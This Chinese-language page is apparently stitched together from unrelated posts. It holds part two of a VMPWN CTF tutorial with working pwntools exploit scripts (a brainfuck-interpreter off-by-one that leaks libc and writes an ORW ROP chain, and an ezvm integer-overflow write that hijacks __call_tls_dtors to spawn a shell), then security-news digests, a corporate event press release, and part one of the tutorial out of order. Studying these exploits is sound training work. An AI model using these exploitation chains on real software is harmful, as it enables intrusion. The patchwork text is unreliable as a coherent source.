VMPWN的入门级别题目详解(二)
实验四 VMPWN4
题目简介
这道题应该算是虚拟机保护的一个变种,是一个解释器类型的程序,何为解释器?解释器是一种计算机程序,用于解释和执行源代码。解释器可以理解源代码中的语法和语义,并将其转换为计算机可以执行的机器语言。与编译器不同,解释器不会将源代码转换为机器语言,而是直接执行源代码。即,这个程序接收一定的解释器语言,然后按照一定的规则对其进行解析,完成相应的功能,从本质上来看依然是一个虚拟机。
这个程序是一个brainfuck的解释器,brainfuck的语法如下所示:
将这些语法翻译为c代码如下所示:
题目保护检查
使用checksec来检查程序开启了哪些保护机制
所有保护全部开启使用seccomp-tools检查程序是否开启了沙箱
只允许open、openat、read、write、brk等少数系统调用,也就是说我们不能通过执行system(“/bin/sh”)或者execve系统调用来拿到shell了。
漏洞分析
使用IDA pro打开这个程序查看伪代码
看到std::cout以及std::string等函数,可以看出来这个程序是用c++进行编写的,相比于C语言的程序,C++的程序反编译之后分析起来难度会大一些。
分析一波sub_1EA2函数在a1+0x400处创建一个string类,后面的sub_1FAA,sub_1F72很复杂,看不明白,应该是初始化的函数。
然后在 sub_154B 函数中
这里就是沙箱开启函数,我们一开始用 seccomp-tools 分析程序得到的沙箱规则就是在这个函数中设置的,对程序的系统调用功能进行了种种限制。
接着输入 code,每次输入 1 字节,然后将这 1 字节拼接到 string 中, 在这里我们可以动态调试一下输入过程,因为 string 是一个类,其内部有其他成员。我们将断点下载 while 循环结束之后,即读取完了 code,我们首先输入 5 个'>',string 类在 rbp-0x40,我们查看其中内容:
前8个字节是一个指针,指向我们输入的code存放的地址,第2个8字节是输入的字节数,后面的就是我们输入的code,这里我们只输入了5个字节,直接在存在了栈中。我们多输入一些,大于0x10个字符
前8个字节变为了堆地址,我们输入的数据被存入了堆中,第2个8字节依然书我们输入的字节数,第3个8字节0x1e,应该是剩余可用空间,0x13+0x1e=0x31。总的来说,如果输入字符数小于0x10,string类的大概成员应该如下
struct string
{
char *data;
int64_t size;
char data[0x10];
...
}
如果大于0x10则为如下
struct
{
char *buf;
int64_t size;
int64_t capacity;
char tmp_data[8];
...
}
继续分析程序
中间这一段 for 循环应该是遍历所有输入的 code,寻找[和],也就是寻找程序的边界,为什么是寻找程序的边界,可以再看一下 brainfuck 解释为 c 语言之后的效果。[]所包裹起来的 code,就是 while 循环之内要执行的代码。从这个 for 循环往下,就是对 brainfuck 的解释代码,会依次判断每个字符的值,并进行相应的操作。
首先看到对>的操作会对v19进行+1操作,v19是啥呢?s是最开始初始化的时候传入的一个长度为0x400的数组,这里将v19赋值为s数组的地址,每当解析到>时,就将v19往后移动一个字节,然后对v19进行判断在if判断中存在问题,当v19指针大于string指针是退出,也就是说v19可以等于string指针,即v19可以指向string的第一个字节,存在off-by-one。如下图v19可以指向画框的1字节。
后续的其他操作就都和最开始贴出来的brainfuck语法一样了,也没有漏洞。
接下来开始利用漏洞。
第一步还是得先泄露libc地址。泄露方法是通过将v19指向string的第一字节,也就是buf指针的最后1字节。在0x7fffffffde68处就是main函数的返回地址,我们将buf指针的最后1字节修改为68,这样buf就会指向返回地址。在程序的最后,会将string的数据输出而此时string的buf已经被我们指向了返回地址,输出时就会泄露出libc_start_main的地址。在这里我们需要注意,想要buf指针能够指向栈中,我们输入的数据不能超过0x10个字节,而v19和string相差多少呢?v19是指向s的,s和string相差了0x400的距离,所以我们需要将v19增加0x400才
++*ptr;
while(*ptr)
{
ptr++;
++*ptr;
}
这看起来是一个死循环,为啥能够自动在指向string的第1个字节时自动停止呢?这是因为,当执行完>使得v19指向string后,接下来会执行+使得string的buf指针+1,变成了下图所示:于是,原本要取],因为指针+1,就会取到,,从而跳出循环。还有一点就是,因为aslr的缘故,栈地址会一直改变,所以泄露libc地址需要多试几次才能成功。拿到libc地址之后,就可以进行利用了,由于此时string的buf指针指向的是返回地址,我们再次输入code的时候就会往返回地址上写,所以我们可以构造好orw的rop链,直接写入返回地址,然后当我们结束main函数的时候就会执行orw链。另外,还有需要注
利用脚本
from pwn import *
context.log_level='debug'
global io
libc=ELF('./libc.so.6')
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(io,"b *{}".format(hex(addr)))
def pwn():
payload = '+[>+],'
io.recvuntil('enter your code:\n')
io.sendline(payload)
io.recvuntil('running....\n')
io.send(p8(0xd8))
io.recvuntil("your code: ")
libc_base = u64(io.recvuntil('\x7f',timeout=0.5)[-6:].ljust(8,'\x00')) - 231 - libc.sym['__libc_start_main']
if libc_base>>40!=0x7f:
raise Exception("leak error!")
log.success('libc_base => {}'.format(hex(libc_base)))
pop_rdi_ret=libc_base+0x000000000002155f
pop_rsi_ret=libc_base+0x0000000000023e6a
pop_rdx_ret=libc_base+0x0000000000001b96
open_addr=libc_base+libc.symbols['open']
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
log.success('open_addr => {}'.format(hex(open_addr)))
log.success('read_addr => {}'.format(hex(read_addr)))
log.success('write_addr => {}'.format(hex(write_addr)))
flag_str_addr=(libc_base+libc.symbols['__free_hook'])&0xfffffffffffff000
orw=p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(flag_str_addr)+p64(pop_rdx_ret)+p64(0x10)+p64(read_addr)
orw+=p64(pop_rdi_ret)+p64(flag_str_addr)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)
orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(flag_str_addr+0x10)+p64(pop_rdx_ret)+p64(0x100)+p64(read_addr)
orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(flag_str_addr+0x10)+p64(pop_rdx_ret)+p64(0x100)+p64(write_addr)
io.recvuntil('want to continue?\n')
io.send('y')
io.recvuntil('enter your code:\n')
io.sendline(orw+payload)
io.recvuntil('running....\n')
io.send('\xa0')
io.recvuntil('want to continue?\n')
io.send('n')
io.send('./flag')
io.interactive()
if __name__ == "__main__":
while True:
try:
io=process('./bf')
pwn()
except:
io.close()
实验五 VMPWN5
题目简介
这道题是一道很典型的VMPWN,接收字节码,对字节码进行解析,执行对应功能。不过这题相较于前面的vmpwn有些区别,前几题都都是同时存在越界读和越界写漏洞的,然而这道题仅存在一个越界写漏洞,这就要求更加开阔和灵活的解题思路。
题目保护检查
保护全部开启了。
漏洞分析
IDA打开程序
读取一段字符,如果这段字符串不为”bye bye”,则调用sub_228E函数
看到sub_228E函数
首先根据字符串的输出将各个变量重命名。
先让用户输入code_size,也就是字节码的长度;接着让用户输入memory count,也就是内存的大小,内存的单位是8字节,后面通过malloc申请memory count*8大小的堆块作为内存。然后读取code,最后调用sub_1458函数,跟进查看
似乎是一个初始化函数,但具体做了什么我们暂不清楚,继续往下看,跟进到sub_151A函数。
这里就是熟悉的解析字节码了,我们将前面的函数和变量重命名一下
为了方便逆向分析,我们首先来确定虚拟机的结构体。
首先根据这里的判断,我们猜测通用寄存器的索引不能大于3,也就是通用寄存器有 4个。我们再回看到init_vm结构体。
qword_5040应该为pc指针,因为它指向的是code的开头,ptr指向内存的开头,后面又malloc出来了一块0x800的堆,猜测这个qword_5050应该就是栈顶指针rsp,重命名之后如下
重新看回到exec_vm函数
qword_5088很明显是当前运行了多少code。 而我们注意到
我们刚刚重命名的指针都是位于同一块区域,所以这一块区域应该就是vm虚拟机的位置。
根据刚刚的分析,创建如下结构体
struct vm
{
char *code;
int64_t *memory;
int64_t *stack;
int64_t codesize;
int64_t memcnt;
int64_t regs[4];
int64_t rip;
int64_t rsp;
};
再将其应用于IDA中,此时exec_vm已经变得很清晰
一共24个功能,每个操作码对应的功能如下:
0:push
1:pop
2:将栈中的两个值相加
3:将栈中的两个值相减
4:将栈中的两个值相乘
5:将栈中的两个值相除
6:将栈中的两个值取模
7:将栈中的两个值左移
8:将栈中的两个值右移
9:将栈中的两个值相与
11:将栈中的两个值相或
12:将栈中的两个值相异或
13:判断栈顶值是否为0
14:jmp
15:条件jmp,如果栈顶有值就jmp,没有就不jmp
16:条件jmp,和15相反
17:判断栈顶的两个值是否相等
18:判断栈顶值是否小于栈顶下的一个值
19:判断栈顶值是否大于栈顶下的一个值
20:将一个立即数存入寄存器中
21:将寄存器中的值存入内存中
22:将内存中的值存入寄存器中
23:打印finish
接下来开始分析漏洞
在最开始输入mem_cnt时有一个判断,如下
在这里,当输入类似0x2000000000000020的mem_cnt时,后续申请到的memory大小就为0x100因为0x200000000000000*8会超过64位能表示的最大数字从而导致整数溢出,只有最后的0x20*8会保留下来。
在执行opcode时,0x15功能点处检查内存是否越界依然使用的是一开始输入的mem_cnt,因此存在越界写,可以将寄存器中的数据写到任意内存中。而在0x16功能点处的内存读功能则由于v8 >= 8 * vmx.memcnt / 8的处理,失去了越界读的效果,所以题目的漏洞就在于0x15功能点的越界写。
但是,由于不存在越界读功能,我们无法从内存中读取libc地址信息到寄存器中,虚拟机也没有输出功能,因此我们需要另辟蹊径。
首先如何生成libc地址,注意在exec_vm结束后,会清理虚拟机的各个段
由于将堆free了会链入到unsortedbin中,因此堆中就会留下libc地址,再重新初始化一个虚拟机,这个新的虚拟机的内存段中就会包含libc地址。
当opcode大于0x17时,会输出what???,可以根据这个构造盲注来泄露libc地址.
首先将libc地址push到栈上,然后将1<<i(5<=i<=40)也push到栈上,然后通过0x9的按位与功能
检测该位是否为1,如果为1的话就执行一个错误的opcode,输出what???,如果为0的话就跳转回code开头,继续测试下一位是否为1,由此可以一位一位地得到libc地址。
如上图所示,这是mem区残留的libc地址,首先将libc地址mov到reg[0]中,如下图
然后将其push到栈中
接着我们往reg[1]中写入1<<i,i从5开始,到40结束,因为libc地址的末尾4位为0,且开头一定为0x7f,所以只需要从第5位测试到第40位即可
如上图,reg[1]中存放着1<<8,然后将其压入栈中
再将这两个值进行按位与
将按位与之后的结果存入栈底,然后我们判断栈底为1或者0,为1的话就输出finish,为0的话就输出what?,以此来判断libc的每一位数据为1或者0.
得到libc地址之后就该思考如何getshell了。
拿到libc地址后,再加上任意地址写,随便怎么打都可以,这里采用打call_tls_dtors来getshell。
call_tls_dtors是什么?
main函数正常退出时,会调用exit函数
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)
exit函数调用了__run_exit_handlers函数
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();
.....................
_exit (status);
}
__run_exit_handlers函数中,会检查run_dtors,如果为真就会调用__call_tls_dtors
动态调试exit函数,可以看到run_dtors的值
pwndbg> p run_dtors $1 = true
因此__call_tls_dtors是会被执行的,再看到__call_tls_dtors函数
void__call_tls_dtors (void){ while (tls_dtor_list) { struct dtor_list *cur = tls_dtor_list; dtor_func func = cur->func;#ifdef PTR_DEMANGLE PTR_DEMANGLE (func);#endif tls_dtor_list = tls_dtor_list->next; func (cur->obj); /* Ensure that the MAP dereference happens before l_tls_dtor_count decrement. Th
如果tls_dtor_list存在的话,就会将tls_dtor_list赋值给cur,而cur是一个dtor_list的结构体指针,定义如下
struct dtor_list{ dtor_func func; void *obj; struct link_map *map; struct dtor_list *next;};
然后将cur->func赋值给func,然后调用PTR_DEMANGLE (func),定义如下
# define PTR_DEMANGLE(var) asm ("ror $2*" LP_SIZE "+1, %0\n" \ "xor %%fs:%c2, %0" \ : "=r" (var) \ : "0" (var), \ "i" (offsetof (tcbhead_t, \ pointer_guard)))
纯汇编如下
0x7ffff7e21428 <__call_tls_dtors+40> ror rax, 0x11 0x7ffff7e2142c <__call_tls_dtors+44> xor rax, qword ptr fs:[0x30] 0x7ffff7e21435 <__call_tls_dtors+53> mov qword ptr fs:[rbx], rdx 0x7ffff7e21439 <__call_tls_dtors+57> mov rdi, qword ptr [rbp + 8] 0x7ffff7e2143d <__call_tls_dtors+61> call rax
与之相对的是PTR_MANGLE(var)
# define PTR_MANGLE(var) asm ("xor %%fs:%c2, %0\n" \ "rol $2*" LP_SIZE "+1, %0" \ : "=r" (var) \ : "0" (var), \ "i" (offsetof (tcbhead_t, \ pointer_guard)))
PTR_MANGLE可以看作是加密过程,PTR_DEMANGLE 则是解密过程,循环右移0x11位,然后和fs:[0x30]异或得出解密之后的值。
fs:[0x30]是什么?64位程序中,函数退栈时检查canary的那条汇编语句就是xor rcx, qword ptr fs:[0x28],里面也出现了fs,实际上fs是一个TLS结构体,定义如下
typedef struct{ void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; int gscope_flag; /* Bit 0: X86_FEATU
stack_guard就是fs:[0x28],也就是canary,相应的,fs:[0x30]就是pointer_guard。如何定位TLS结构体?在pwndbg使用如下方式
pwndbg> canary canary : 0xed8519fd5f3d4700pwndbg> search -p 0xed8519fd5f3d4700 0x7ffff7fca568 0xed8519fd5f3d4700pwndbg> x /20xg 0x7ffff7fca568-0x280x7ffff7fca540: 0x00007ffff7fca540 0x00007ffff7fcae900x7ffff7fca550: 0x00007ffff7fca540 0x0000000000000000
回到函数中来,解密了func之后,会执行
func (cur->obj);
而func和cur->obj同属于tls_dtor_list结构体,而这个结构体的来源是tls_dtor_list这个指针,如果我们能够控制这个指针指向我们可控的内存那么就能够劫持程序。我们继续动态调试查看tls_dtor_list的值
pwndbg> p tls_dtor_list Cannot find thread-local storage for process 5047, shared library /usr/lib/freelibs/amd64/2.31-0ubuntu9.2_amd64/libc.so.6:Cannot find thread-local variables on this target
但是pwndbg并不能直接查看到tls_dtor_list的内容,看地址也不行,那我们继续从汇编中找
查看while (tls_dtor_list)处的汇编,如下
0x7ffff7e2140a <__call_tls_dtors+10> mov rbx, qword ptr [rip + 0x1a094f] ► 0x7ffff7e21411 <__call_tls_dtors+17> mov rbp, qword ptr fs:[rbx] 0x7ffff7e21415 <__call_tls_dtors+21> test rbp, rbp 0x7ffff7e21418 <__call_tls_dtors+24> je __call_tls_dtors+93 <__call_tls_dtors+93>
将fs:[rbx]处的值赋给rbp,然后检查rbp是否为0
此时RBP的值为
RBX 0xffffffffffffffa8
补码形式,转换成负数就是-0x58,也就是将fs:[-0x58]处的值赋给RBP,所以tls_dtor_list的地址就为fs:[-0x58]。
整个利用流程就是,将tls_dtor_list的值修改为我们可控内存的地址,一般是堆的地址,然后根据dtor_list结构体的布局
struct dtor_list{ dtor_func func; void *obj; struct link_map *map; struct dtor_list *next;};
我们只需要将在堆中将func伪造为加密后的system的地址,obj为/bin/sh即可。
按照上面说的思路,我们利用越界写将pointer_guard修改为0,然后修改dtor_list结构体的值,将func修改为加密后的system地址,将会obj修改为binsh的地址,最后我们推出虚拟机的时候就会触发system(“/bin/sh”)来getshell。
利用脚本
from pwn import *context.log_level='debug'io=process('./ezvm')libc=ELF('./libc-2.35.so')io.recvuntil('Welcome to 0ctf2022!!\n')io.sendline('lock')io.recvuntil('size:\n')io.sendline('38')io.recvuntil('memory count:\n')io.sendline('256')code=p8(0x17)+p8(0xff)*36io.recvuntil('code:\n')io.sendline(code)
网络安全日报 2023年07月28日
1、Zimbra 修复了ZCS 中被利用的零日漏洞 CVE-2023-38750
https://securityaffairs.com/148880/security/zimbra-fixed-2023-38750-zcs.html Zimbra 解决了针对 Zimbra Collaboration Suite (ZCS) 电子邮件服务器的攻击中利用的零日漏洞。
2、DepositFiles 暴露配置文件,危及用户安全
https://securityaffairs.com/148875/data-breach/depositfiles-exposed-config-file.html DepositFiles 是一种流行的网络托管服务,它的环境配置文件可供访问,从而泄露了大量高度敏感的凭据。
3、Ubuntu 中的两个提权漏洞影响 40% 的 Ubuntu 用户
https://securityaffairs.com/148856/hacking/linux-ubuntu-flaws.html Wiz 研究人员在 Ubuntu 内核中发现了两个 Linux 漏洞,这些漏洞可以让非特权本地用户获得提升的权限。编号为 CVE-2023-2640 和 CVE-2023-32629
4、黑客瞄准 Tomcat 服务器部署 Mirai 僵尸网络和挖矿
https://thehackernews.com/2023/07/hackers-target-apache-tomcat-servers.html 配置错误且安全性较差的 Apache Tomcat 服务器成为旨在传播Mirai 僵尸网络恶意软件和加密货币矿工的新活动的一部分。
5、研究人员发现名为“Nitrogen”的恶意广告攻击活动
https://news.sophos.com/en-us/2023/07/26/into-the-tank-with-nitrogen 研究人员发现了一个攻击活动,该活动利用恶意广告和仿冒合法应用软件的钓鱼网站传播恶意软件。根据样本中发现的组件和调试信息,研究人员将此次攻击活动命名为“Nitrogen”。攻击者滥用谷歌和必应广告,引诱用户访问假冒流行软件下载站的钓鱼页面,诱导用户下载相应的ISO安装程序。该安装程序会侧加载恶意的NitrogenInstaller DLL文件,P并执行恶意的NitrogenStager文件,该文件连接到攻击者的C2服务器,将Meterpeter shell和
6、攻击者针对开发人员传播恶意的Visual Studio安装程序
https://blog.cyble.com/2023/07/25/threat-actor-targeting-developers-via-trojanized-ms-visual-studio 研究人员最近发现了一个伪装成Microsoft Visual Studio的安装程序,当用户执行该安装程序后,将会安装一个正常的Visual Studio软件,并执行一个窃密木马程序。该窃密木马程序将会获取各种系统信息,包括计算机名称、用户名、处理器版本、操作系统版本、平台以及IP地址。提取系统信息后,该窃密木马从浏览器中窃取信息,将窃取的信息打包成一个zip文件,并通过Telegram将zip
7、新型恶意软件DecoyDog正大规模入侵DNS
https://www.freebuf.com/news/373187.html 安全厂商 Infoblox 的调查研究显示,一个名为 DecoyDog(诱饵狗)的复杂恶意工具包通过域名系统(DNS),从事网络间谍活动已达1年以上。
8、恶意软件已渗透商业环境,超40万个企业凭证被窃取
https://www.bleepingcomputer.com/news/security/over-400-000-corporate-credentials-stolen-by-info-stealing-malware/ 在对暗网和 Telegram 渠道上出售的近 2000 万条泄密数据日志进行分析后,发现信息窃取恶意软件已实现了对商业环境的严重渗透。
9、ALPHV 勒索软件在新的勒索策略中添加了数据泄漏 API
https://www.bleepingcomputer.com/news/security/alphv-ransomware-adds-data-leak-api-in-new-extortion-strategy/ ALPHV 勒索软件团伙(也称为 BlackCat)正试图通过为其泄漏站点提供 API 来提高其攻击的可见性,从而向受害者施加更大的压力,要求他们支付赎金。
10、新的恶意人工智能工具“FraudGPT”出现,专为复杂攻击量身定制
https://thehackernews.com/2023/07/new-ai-tool-fraudgpt-emerges-tailored.html 跟随 WormGPT 的脚步,威胁行为者正在各种暗网市场和 Telegram 渠道上宣传另一种名为 FraudGPT 的网络犯罪生成人工智能 (AI) 工具。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
蚁景科技受邀出席2023网络安全技术创新与人才教育高峰论坛
7月24日,2023网络安全技术创新与人才教育高峰论坛在长沙举行。中国工程院院士方滨兴、张宏科,教育部科学技术与信息化司司长雷朝滋,中共湖南省委网信办副主任郭天保,湖南湘江新区(长沙高新区)党工委副书记、岳麓区委副书记周凡等领导出席大会并致辞。
本次大会由中国网络空间安全人才教育论坛、中国网络空间新兴技术安全创新论坛、国务院学位办网络空间安全学科评议组联合主办。聚焦网络空间安全面临的新技术挑战和人才缺乏现状,探讨建立网络空间安全产业发展生态与新技术创新联盟,分享网络安全人才培养创新模式与经验。来自全国各地600+网络安全领域知名专家、企业家、业界人士云集长沙,同谋网络安全技术创新与人才教育美好蓝图。湖南蚁景科技有限公司受邀出席本次大会。
大会主席方滨兴院士在讲话中提到要建设网络强国,需要从科技强国、教育强国、人才强国三方面着手,不断去研发新技术、创新教育思路、打通人才各方生态,为国家网络强国贡献核心力量,希望能够通过本次会议多方向、多议题的分享,碰撞出新的火花和思路。
会上,《网络空间安全工程技术人才培养体系指南4.0》正式发布,该指南结合我国实情指出我国网络安全人才培养框架,并就框架中网安人才层次化培养体系、知识技能、认证体系进行详细阐述,完善我国网安人才培养标准,成为高校授课、网安培训、人才认证、岗位招聘的有力支撑。本次发布版本主要针对移动与无线安全、物联网安全、网络关键基础设施安全、密码学应用进行详细扩展。
蚁景科技荣获大会颁发的“众测白帽子”荣誉证书
为了培养具有网络攻防实战演练能力的优秀人才,网教盟联合方班和鹏城实验室,组织多家高校企业单位积极参与,通过鹏城靶场平台,以“外打外”的方式,选手远程接入靶场,对国家重大活动的运行系统在会前进行攻防测试。蚁景科技组织内部网安工程师及培养的优秀学员积极参与其中,在历次众测活动中取得了优异成绩,发挥了特色学科服务社会和引领辐射的作用,为活动做出实质贡献,受到本次大会的表彰。
蚁景科技总经理彭坤还出席了本次大会的“网络安全人才培养与认证分论坛”,会上方班网安人才教育服务中心与蚁景科技、奇安信、麒麟软件等多家网络安全人才培训单位签署了“网安人才教育培训合作伙伴”协议,联合成为推广“方班”特色教学模式的先头军,为探索创新型网络空间安全人才培养模式发挥作用。
另外,在题为“如何破除网安人才培养难、鉴别难的困局”的圆桌论坛上,蚁景科技总经理彭坤发表了讲话,分享了蚁景科技在网络安全人才培养方面的思路和“学-练-赛”一体的创新培养模式。
新一轮科技革命和产业变革加速演进,对网络安全工作提出新要求。本届大会融合行业政策深度解读、技术专家经验分享、合作项目签约以及各专项活动的开启,为网络安全行业的高质量发展带来新理念、提供新动能、注入新动力。
未来,蚁景科技将继续与业界一道在网络强国战略的引领下,用创新思路和务实举措为网络安全人才培养贡献力量。
网络安全日报 2023年07月27日
1、研究人员发现针对macOS的新型窃密木马Realst
https://www.sentinelone.com/blog/apple-crimeware-massive-rust-infostealer-campaign-aiming-for-macos-sonoma-ahead-of-public-release 研究人员发现一种针对macOS的新型窃密木马,该窃密木马使用Rust语言进行编写,被称为“Realst”。该窃密木马通过恶意网站中的虚假游戏广告进行传播,以PKG安装程序或DMG文件的形式,其中包含恶意的Mach-O文件。研究人员对16种Realst变种分析后发现它们在形式和功能上非常相似,都针对Firefox、Chrome、Oper
2、研究人员发现Spyhide安卓恶意软件从数万部手机中窃取信息
https://maia.crimew.gay/posts/fuckstalkerware-2 Spyhide是一种间谍软件,通常由知道受害者密码的人植入受害者的手机上。该应用程序被设计为隐藏在受害者手机的主屏幕上,使其难以被检测和删除。一旦植入,Spyhide就会默默地不断上传手机的联系人、信息、照片、通话记录和录音,以及实时的精确位置。研究人员通过利用该软件后台仪表板中的漏洞,获得了对后端数据库的访问权限,并从中发现大约60000台安卓设备的详细记录,数据包括329万条包含个人信息的短信,120多万份通话记录和约31.2万份通话记录文件,925000多个包含姓名和电话号码的联系人列表,3
3、超90万台MikroTik路由器存在权限提升漏洞
https://www.bleepingcomputer.com/news/security/super-admin-elevation-bug-puts-900-000-mikrotik-devices-at-risk 超过90万台MikroTik路由器中存在权限提升漏洞,该漏洞被标记为CVE-2023-30799,允许拥有现有管理员帐户的远程攻击者通过设备的Winbox或HTTP接口将其权限提升为“超级管理员”。由于MikroTik RouterOS带有一个默认的“admin”账户,因此攻击者能够使用管理员账户利用该漏洞。研究人员使用Shodan来确定该漏洞的影响,发现47.4万台设备基
4、黑客声称窃取埃及卫生部的医疗记录
https://www.infosecurity-magazine.com/news/hacker-stolen-medical-records/ 攻击者在黑客论坛中称从埃及卫生和人口部窃取200万份数据记录,该数据库中包含全面的个人患者信息,包括姓名、身份证、电话号码、地址、分类细节、诊断和治疗细节。该攻击者在论坛中提供了一个数据集样本以证实其说法,其中含有1000人的数据。研究人员称,该攻击者在前段时间曾在论坛中售卖与印度尼西亚相关的数据。
5、FraudGPT:一种新的恶意生成人工智能工具出现在地下论坛
https://securityaffairs.com/148829/cyber-crime/fraudgpt-cybercrime-generative-ai.html Netenrich 研究人员最近发现了一个名为 FraudGPT 的新平台,自 2023 年 7 月 22 日以来,该平台在多个市场和 Telegram 频道上进行广告宣传。 据 Netenrich 称,这种生成式 AI 机器人经过训练用于攻击性目的,例如创建鱼叉式网络钓鱼电子邮件、进行BEC攻击、破解工具和梳理。
6、Wiz 表示 62% 的 AWS 环境受到 AMD Zenbleed 漏洞影响
https://www.securityweek.com/wiz-says-62-of-aws-environments-exposed-to-zenbleed-exploitation/ 云安全初创公司 Wiz 的研究人员报告称,高达 62% 的 AWS 环境可能会受到AMD Zen 2 处理器中新记录的Zenbleed信息泄露漏洞的影响。
7、Microsoft 消息队列漏洞允许远程执行代码、DoS 攻击
https://www.securityweek.com/microsoft-message-queuing-vulnerabilities-allow-remote-code-execution-dos-attacks/ 网络安全公司 Fortinet 发布了最近在 Microsoft 消息队列 (MSMQ) 服务中修补的三个严重和高严重性漏洞的详细信息。其中两个缺陷(编号为 CVE-2023-21554 和 CVE-2023-28302)可能导致远程代码执行 (RCE) 和拒绝服务 (DoS),微软已通过 2023 年 4 月的补丁星期二更新解决了这一问题。没有为第三个问题提供 CVE
8、“共享屏幕”成新型电信诈骗,不法分子可查看手机桌面全部内容
https://www.ithome.com/0/708/055.htm 央视报道当前“共享屏幕”已成为一种新型电信网络诈骗形式,不法分子会利用该功能实时观察事主手机屏幕内容,乃至窃取账号密码等关键信息
9、IBM:2023 年行业数据泄露成本再创新高,达到 445 万美元
https://www.helpnetsecurity.com/2023/07/24/ibm-cost-data-breach-report-2023/ 据 IBM 旗下安全部门最新发布的《2023 年数据泄露报告》显示,2023 年全球数据泄露的平均成本达到 445 万美元,创下历史新高。
10、Lazarus 黑客劫持微软 IIS 服务器传播恶意软件
https://www.bleepingcomputer.com/news/security/lazarus-hackers-hijack-microsoft-iis-servers-to-spread-malware/ Lazarus 黑客组织正在破坏 Windows Internet Information Service(IIS)网络服务器,劫持它们进行恶意软件分发。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
VMPWN的入门级别题目详解(一)
实验一 VMPWN1
题目简介
这是一道基础的VM相关题目,VMPWN的入门级别题目。前面提到VMPWN一般都是接收字节码然后对字节码进行解析,但是这道题目不接受字节码,它接收字节码的更高一级语言:汇编。程序直接接收类似”mov”、”add”之类的指令,可以把这道题目看作是一个执行汇编语言的处理器,相比于解析字节码的VM,逆向难度要大大减小。非常适合入门。
题目保护检查
只有Partial RELRO保护,这意味着可以修改程序的重定位表;没有开启PIE保护,那么程序每次加载到内存中的地址都不会发生变化。
漏洞分析
拖进IDA分析流程
程序模拟了一个虚拟机,v5,v6,v7分别是stack段,text段和data段。看到alloc_mem这个函数
Malloc一块小内存ptr,然后参数a1是要分配的内存的大小,一个单位是8字节。根据伪代码中对ptr的赋值可以构造出一个结构体,如下
struct seg_chunk
{
char *seg;
int size;
int nop;
};
再看到alloc_mem函数会直观很多
但是这样依然有一些难以理解,我们使用GDB打开程序进行调试,看到如下图所示
存在多个0x20大小的小堆块,堆块中的开头8字节指向下方的大堆块,第8到第12字节则是大堆块的大小的单位数量,比如0x400=0x80*0x8,单位长度为8字节,后面的0xffffffff暂时不知道作用,可能只适用于占位。因此根据gdb的显示结果,我们重新创建一个结构体,如下
struct manage_chunk
{
unsigned __int8 *chunk;
unsigned int unit_num;
int unknow;
};
继续看到main函数, 接着会让用户输入程序名
分配好各个段之后,然后让我们输入指令,先写到一个0x400的缓冲区中
然后再写到text段中,store_opcode函数如下
函数接受两个参数,a1为text段的指针,a2为缓冲区的指针,strtok函数原型如下:
char *strtok(char *str, const char *delim)
str -- 要被分解成一组小字符串的字符串。
delim -- 包含分隔符的 C 字符串。
该函数返回被分解的第一个子字符串,如果没有可检索的字符串,则返回一个空指针。
程序中的delim为\n\r\t,strtok(a2, delim)就是以\n\r\t分割a2中的字符串
由下面的if-else语句我们可以知道程序实现了push,pop,add,sub,mul,div,load,save这几个功能,每个功能都对应着一个opcode,将每一个opcode存储到函数中分配的一个临时data段中(函数执行完后这个chunk就会被free掉)
sub_40144E函数如下:
这个函数是用来将函数中的临时text段的指令转移到程序中的text段的,每八个字节存储一个opcode,每存储一个指令,就会对unknow进行加1的操作。我们将这个函数重名为set_value。
需要注意的是,这里存储opcode的顺序和我们输入指令的顺序是相反的(不过也没啥需要注意的,反正程序是按照我们输入的指令顺序来执行的)。
write_stack函数如下:
和store_opcode函数相比就是去掉了存储opcode的环节,将我们输入的数据存储在stack段中。
我们再看到execute函数
一个很大switch选择语句,看到sub_4014B4函数
将a1中seg内的值给到a2,unknow每次都会减一,而a1是text段的指针,所以这个函数就是从text段中取指令,将其重命名为take_value。
对于set_value函数而言,每次会将unknow加1,而对于take_value而言,每次会将unknow减1,因此我们在这里可以猜测unknow是当前的数据的数量,因此重新定义结构体
struct manage_chunk
{
unsigned __int8 *chunk;
unsigned int unit_num;
int num_now;
};
看到case0x11对应的函数sub_401AAC
调用了take_value函数和sub_40144E函数,sub_40144E如下
将a2放入a1的seg中,和take_value的操作相反,所以我们将其命名为set_value。整体看来就是这样子的,如下图所示
从stack中取值,然后将值存入data中,所以这里的操作我们可以理解为pop,因此我们将sub_401AAC重命名为pop。
再看到sub_401AF8函数
从data中取出两个值,然后将这两个值相加存入data中,所以我们将其重命名为add。
看到sub_401BA5函数
很明显就是减法
再看sub_401C06函数
这个函数是乘法
再看sub_401C68函数
这个函数是除法
再看到sub_401CCE函数
稍微复杂了一点点,从data中取出一个值,然后以这个值为索引,从data中取值,将取出来的值载data中。我们将这个函数命名为load。
最后看到sub_401D37函数
这里取出两个值a2和v4,以a2为索引,将v4存入a2索引找到的内存中。将其命名为save。
